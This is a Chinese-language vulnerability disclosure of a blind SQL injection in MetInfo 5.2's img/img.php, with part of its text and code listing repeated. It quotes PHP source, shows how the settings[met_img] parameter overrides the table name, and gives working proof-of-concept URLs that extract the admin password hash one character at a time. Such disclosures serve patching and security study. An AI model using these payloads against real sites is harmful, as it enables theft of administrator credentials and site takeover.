MetInfo最新版SQL盲注漏洞

摘要

MetInfo最新版SQL盲注漏洞，可盲注管理员信息。
D:/wamp/www/MetInfo5.2/img/img.php
[php]

# MetInfo Enterprise Content Management System

# Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved.

require_once '../include/common.inc.php';

$mdname = 'img';

$showname = 'showimg';

$dbname = $met_img;

$dbname_list = $met_img_list;

$mdmendy = 1;

$imgproduct = 'img';

require_once '../include/global/listmod.php';

$img_listnow = $modlistnow;

$img_list_new = $md_list_new;

$img_class_new = $md_class_new;

$img_list_com = $md_list_com;

$img_class_com = $md_class_com;

$img_class = $md_class;

$img_list = $md_list;

require_once '../public/php/imghtml.inc.php';

include template('img');

footer();

# This program is an open source system, commercial use, please consciously to purchase commercial license.

# Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rights reserved.

?>
[/php]
第7行$dbname可以覆盖此变量

MetInfo最新版SQL盲注漏洞，可盲注管理员信息。
D:/wamp/www/MetInfo5.2/img/img.php
[php]

# MetInfo Enterprise Content Management System

# Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved.

require_once '../include/common.inc.php';

$mdname = 'img';

$showname = 'showimg';

$dbname = $met_img;

$dbname_list = $met_img_list;

$mdmendy = 1;

$imgproduct = 'img';

require_once '../include/global/listmod.php';

$img_listnow = $modlistnow;

$img_list_new = $md_list_new;

$img_class_new = $md_class_new;

$img_list_com = $md_list_com;

$img_class_com = $md_class_com;

$img_class = $md_class;

$img_list = $md_list;

require_once '../public/php/imghtml.inc.php';

include template('img');

footer();

# This program is an open source system, commercial use, please consciously to purchase commercial license.

# Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rights reserved.

?>
[/php]
第7行$dbname可以覆盖此变量

http://localhost/case/?settings[met_img]=met_admin_table%20or%201=1 --

来到文件

D:/wamp/www/MetInfo5.2/include/global/listmod.php
[php]
require_once substr(dirname(__FILE__), 0, -6).'common.inc.php';

require_once '../include/global/pseudo.php';

if($dbname!=$met_download&&$dbname!=$met_img&&$dbname!=$met_news&&$dbname!=$met_product){okinfo('../404.html');exit();}

if($class_list[$class1]['module']>=100||($class1==0&&$class2==0&&$class3==0)){

if($search=="search"){

$search_module=$imgproduct=='product'?3:5;

$query="select * from $met_column where module='$search_module' and (classtype=1 or releclass!=0) and lang='$lang' order by no_order ASC,id ASC";

$search_coloumn=$db->get_all($query);

$class1=$search_coloumn[0]['id'];

}else{

[/php]
接着进入数据库查询即可导致注入。
漏洞证明：
打开页面

http://localhost/case/?settings[met_img]=met_admin_table where substr(left((admin_pass),32),1,1)=char(56)-- 1

-----返回空白

http://localhost/case/?settings[met_img]=met_admin_table where substr(left((admin_pass),32),1,1)=char(55)-- 1

-----返回案例

通过返回的信息可以盲注出管理员信息。